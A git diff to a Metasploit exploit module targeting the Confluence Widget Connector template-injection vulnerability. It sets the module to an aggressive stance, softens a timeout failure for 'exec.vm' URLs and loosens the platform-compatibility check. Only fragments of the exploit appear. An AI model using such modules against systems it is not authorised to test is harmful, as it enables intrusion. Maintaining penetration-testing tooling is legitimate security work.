diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index 11fd095a6f..8546ffcc7e 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -54,7 +54,8 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Privileged' => false, 'DisclosureDate' => 'Mar 25 2019', - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Aggressive )) register_options( @@ -223,7 +224,9 @@ class MetasploitModule < Msf::Exploit::Remote }) unless res - fail_with Failure::Unreachable, 'Connection timed out in #inject_template' + unless service_url.include?("exec.vm") + print_warning('Connection timed out in #inject_template') + end end if res.body.include? 'widget-error' @@ -263,7 +266,7 @@ class MetasploitModule < Msf::Exploit::Remote # @return [FalseClass] Not compatible def target_platform_compat?(target_platform) target.platform.names.each do |n| - if n.downcase == 'java' || n.downcase == target_platform.downcase + if n.downcase == 'java' || target_platform.downcase.include?(n.downcase) return true end end @@ -453,6 +456,5 @@ class MetasploitModule < Msf::Exploit::Remote if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m) return match.captures[0] end - '' end end